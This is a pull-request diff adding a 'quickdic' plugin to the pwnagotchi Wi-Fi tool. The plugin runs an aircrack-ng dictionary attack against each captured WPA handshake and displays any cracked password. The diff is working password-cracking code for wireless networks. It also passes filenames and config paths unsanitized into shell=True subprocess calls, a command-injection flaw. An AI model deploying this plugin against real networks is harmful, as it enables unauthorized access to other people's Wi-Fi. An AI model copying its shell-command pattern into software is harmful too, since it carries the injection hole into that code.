Merge pull request #251 from 0xRoM/quickdic

Run a quick dictionary scan against captured handshakes

pwnagotchi/defaults.yml

@@ -55,7 +55,9 @@ main:
       screen_refresh:
         enabled: false
         refresh_interval: 50
-
+      quickdic:
+        enabled: false
+        wordlist_folder: /opt/wordlists/
     # monitor interface to use
     iface: mon0
     # command to run to bring the mon interface up in case it's not up already

pwnagotchi/plugins/default/quickdic.py

@@ -0,0 +1,51 @@
+__author__ = 'pwnagotchi [at] rossmarks [dot] uk'
+__version__ = '1.0.0'
+__name__ = 'quickdic'
+__license__ = 'GPL3'
+__description__ = 'Run a quick dictionary scan against captured handshakes'
+
+'''
+Aircrack-ng needed, to install:
+> apt-get install aircrack-ng
+Upload wordlist files in .txt format to folder in config file (Default: /opt/wordlists/)
+'''
+
+import logging
+import subprocess
+import string
+import re
+
+OPTIONS = dict()
+
+def on_loaded():
+    logging.info("Quick dictionary check plugin loaded")
+
+def on_handshake(agent, filename, access_point, client_station):
+    display = agent._view
+
+    result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "1 handshake" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
+    result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
+    if not result:
+        logging.info("[quickdic] No handshake")
+    else:
+        logging.info("[quickdic] Handshake confirmed")
+        result2 = subprocess.run(('aircrack-ng -w '+OPTIONS['wordlist_folder']+'*.txt -l '+filename+'.cracked -q -b '+result+' '+filename+' | grep KEY'),shell=True,stdout=subprocess.PIPE)
+        result2 = result2.stdout.decode('utf-8').strip()
+        logging.info("[quickdic] "+result2)
+        if result2 != "KEY NOT FOUND":
+            key = re.search('\[(.*)\]', result2)
+            pwd = str(key.group(1))
+            set_text("Cracked password: "+pwd)
+            display.update(force=True)
+
+text_to_set = "";
+def set_text(text):
+    global text_to_set
+    text_to_set = text
+
+def on_ui_update(ui):
+    global text_to_set
+    if text_to_set:
+        ui.set('face', "(·ω·)")
+        ui.set('status', text_to_set)
+        text_to_set = ""